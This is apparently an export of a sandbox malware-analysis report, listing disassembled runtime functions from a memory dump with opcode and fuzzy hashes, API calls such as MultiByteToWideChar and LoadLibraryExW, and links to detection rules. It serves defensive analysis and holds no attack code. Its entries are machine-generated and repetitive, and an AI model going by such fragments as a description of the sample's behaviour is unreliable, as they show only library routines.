Instruction Fuzzy Hash: 96F0BE32648304EFCF15CE6CCA49F16B7E8E746B54F284165E50AEF790DA70DE40EA20

Uniqueness

Uniqueness Score: -1.00%

Function 00D987F1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a0c947291c29f2276a0c80ae9666b783aaeedef236b5f727d28dd3720cf3ab7
Instruction ID: 43f8c0b5c2b0bc014992ac9d6adfd98664daecf19bc6c4d291aa5f3c4fc540ed
Opcode Fuzzy Hash: 4a0c947291c29f2276a0c80ae9666b783aaeedef236b5f727d28dd3720cf3ab7
Instruction Fuzzy Hash: 5DF03032A10724AFCF26D74DD946A59B3ACEB45B61F950056E501F7250DA70DE00D7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00D98846 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e81a17722138511301d0456e6c5f46c4e6c2561eb0ec342c69e752dd95ea0cc
Instruction ID: 69caedaff53a32cf9f84b61080e56578b4a4796c08985771db7bcbd441517831
Opcode Fuzzy Hash: 6e81a17722138511301d0456e6c5f46c4e6c2561eb0ec342c69e752dd95ea0cc
Instruction Fuzzy Hash: ACF0A032A10320DBCF26DB4CE989A49B3BCEB45B10F150056E000EB250CAB0DE00D7F0

Uniqueness

Uniqueness Score: -1.00%

Function 00D985E7 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c201f49c8d6c2e1273913874b6a33040c82bdadbe80f00842f35dd1f34a3a301
Instruction ID: 1fdfa4a22cd16f08d63b81c6dd03536a95621984ec26f387f6a767590c5d4b96
Opcode Fuzzy Hash: c201f49c8d6c2e1273913874b6a33040c82bdadbe80f00842f35dd1f34a3a301
Instruction Fuzzy Hash: 0FE06532600308EFCB06CB69C685A09B3E8EB89755F6440A8E409EB250EB34DE44CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00D9863A Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 284091747675415f6a2457686d38ce16d2ed10c3e0d7de09498604a4723b3c4b
Instruction ID: 188dcace0a908e4df7e9ffccae412f84c6fda406cc74761b986e8eb714f6d227
Opcode Fuzzy Hash: 284091747675415f6a2457686d38ce16d2ed10c3e0d7de09498604a4723b3c4b
Instruction Fuzzy Hash: 49E06D31601344DFCB06CB69C685A09B3E8EB85744F244068E409DB250EB34DE41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D986FE Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 995da92c87683585e521f1ae4326652287d4ebf09c1e5dcbfbbc63a588604e8f
Instruction ID: d93408ab39902936ae3237c22076c945248d45515d27db00cb7f45010e87a264
Opcode Fuzzy Hash: 995da92c87683585e521f1ae4326652287d4ebf09c1e5dcbfbbc63a588604e8f
Instruction Fuzzy Hash: 13E0E235511248EFCB04DBA8C549F4AB7F8EB48794F6149A4F409D7251D634EF80DA20

Uniqueness

Uniqueness Score: -1.00%

Function 00D3E2F8 Relevance: 9.2, APIs: 6, Instructions: 225COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00D3E383
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00D3E40F
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00D3E47A
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00D3E496
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00D3E4F9
CompareStringEx.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00D3E516

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: 6d94c047d281f1b570dc461bf36d01e7c5097736d0ddbe65ba736104396c0e75
Instruction ID: 4cd7bb398e7bbe60d60b82a63347ab308e99f2570112e81ab11a6b23418afb18
Opcode Fuzzy Hash: 6d94c047d281f1b570dc461bf36d01e7c5097736d0ddbe65ba736104396c0e75
Instruction Fuzzy Hash: 7A71AB72900259ABDF319FA4C885BEEBBB9EF09315F180164E945BB2D1E774CC049BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D1AA5A Relevance: 9.2, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 00D1AAA3
MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000), ref: 00D1AB0E
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D1AB2B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00D1AB6A
LCMapStringEx.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00D1ABC9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00D1ABEC

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 714dd654c4f753ee5cc7f1ce81522b429e09a66d8176f72626fdf1bbdaf7cd53
Instruction ID: 95d6e7875f71b4097c5ab7dec8d16a18ab5c724d6d78f1b813dcfcedbd301475
Opcode Fuzzy Hash: 714dd654c4f753ee5cc7f1ce81522b429e09a66d8176f72626fdf1bbdaf7cd53
Instruction Fuzzy Hash: 2A51BE76501216BFEB218FA8ED44FEB7BBAEF44740F184128B905A6190DB30CD80DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D83927 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 166COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00E24C52,00000104), ref: 00D83984

Strings

<program name unknown>, xrefs: 00D83993
Microsoft Visual C++ Runtime Library, xrefs: 00D83A19
..., xrefs: 00D839D2
Runtime Error!Program: , xrefs: 00D83950

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: f9bed05ccf4c4eb699141a2766f032ec3ecaba815660fd565736f6b63b1d6aa9
Instruction ID: 4ba7168376b788e2acfd905bf5d07bf96e57bcbb9e2bd06568ca287228c89410
Opcode Fuzzy Hash: f9bed05ccf4c4eb699141a2766f032ec3ecaba815660fd565736f6b63b1d6aa9
Instruction Fuzzy Hash: 94216AB2A822416BD628B3266C4BFAB765CCB91F10B080835FD4CA21C5FA91CB05C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D85455 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00000000,00DAF5A7,000000FF,?,00D853B8,?,?,00D85367,?), ref: 00D8548A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D8549C
FreeLibrary.KERNEL32(00000000,?,?,00000000,00DAF5A7,000000FF,?,00D853B8,?,?,00D85367,?), ref: 00D854BE

Strings

CorExitProcess, xrefs: 00D85494
mscoree.dll, xrefs: 00D85483

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ed569dbe9550190ea465fcbfb03fc4892292adbca9ed07fc7e2a9186e7d875c5
Instruction ID: dc52e28df765118accf72cff0a67532b880d10fbfa2d47c105c4cac2640f1c3e
Opcode Fuzzy Hash: ed569dbe9550190ea465fcbfb03fc4892292adbca9ed07fc7e2a9186e7d875c5
Instruction Fuzzy Hash: 0B01DB35900A19EFDB219F55DC09FEEB7B8FB04711F044626F812B22D0DB749905CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D8A7BE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00D8A75A), ref: 00D8A7CD
GetLastError.KERNEL32(?,00D8A75A), ref: 00D8A7D7
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00D8A815

Strings

api-ms-, xrefs: 00D8A7E4
ext-ms-, xrefs: 00D8A7FA

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-$ext-ms-
API String ID: 3177248105-537541572
Opcode ID: 44871a421480e68ecacf42764bbbd967bf84208106a11e21bfdd08341b8ced5d
Instruction ID: 5f5ee0e462d0a0268b136c56dbc3a2cd2efd49a6790cb45529f0e7be0263f948
Opcode Fuzzy Hash: 44871a421480e68ecacf42764bbbd967bf84208106a11e21bfdd08341b8ced5d
Instruction Fuzzy Hash: 51F03731684204BBEF302F51EC06F5A3E659B10B51F188031FD0EB40E2E7A5D95A9F75

Uniqueness

Uniqueness Score: -1.00%

Function 00D8EAC7 Relevance: 7.8, APIs: 5, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ba844d1dfacd2c95c8718a2361bef7a20c747309ff52b4c5af82431444ae61b
Instruction ID: f77292b5b3f8a7b5731580cf48a8940c95b3e40814881de087bd3ec3e4afa997
Opcode Fuzzy Hash: 8ba844d1dfacd2c95c8718a2361bef7a20c747309ff52b4c5af82431444ae61b
Instruction Fuzzy Hash: 54B1FF74E04649AFDB15EF99C880BADBBB5FF49314F184158E805AB292CB70DA46CF70

Uniqueness

Uniqueness Score: -1.00%

Function 00D454D0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D45507
_ValidateLocalCookies.LIBCMT ref: 00D45598
_ValidateLocalCookies.LIBCMT ref: 00D45618

Strings

csm, xrefs: 00D455AD

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: CookiesLocalValidate
String ID: csm
API String ID: 2268201637-1018135373
Opcode ID: a80e0059cd0b320f598b0b82b2523fa749a06ac74c3b8a3d4e807830ade51e24
Instruction ID: adef3ad76f1f2cde5d0d4083863d0d04a3ee72d6563bf956195f5700fed49009
Opcode Fuzzy Hash: a80e0059cd0b320f598b0b82b2523fa749a06ac74c3b8a3d4e807830ade51e24
Instruction Fuzzy Hash: BA41A134A00604EBCF10DF68E841BAE7BA6EF45324F588095E8189B29BD731DA15CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5025A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00D5006C), ref: 00D50267
GetLastError.KERNEL32(?,00D5006C), ref: 00D50271
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00D50299

Strings

api-ms-, xrefs: 00D5027E

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
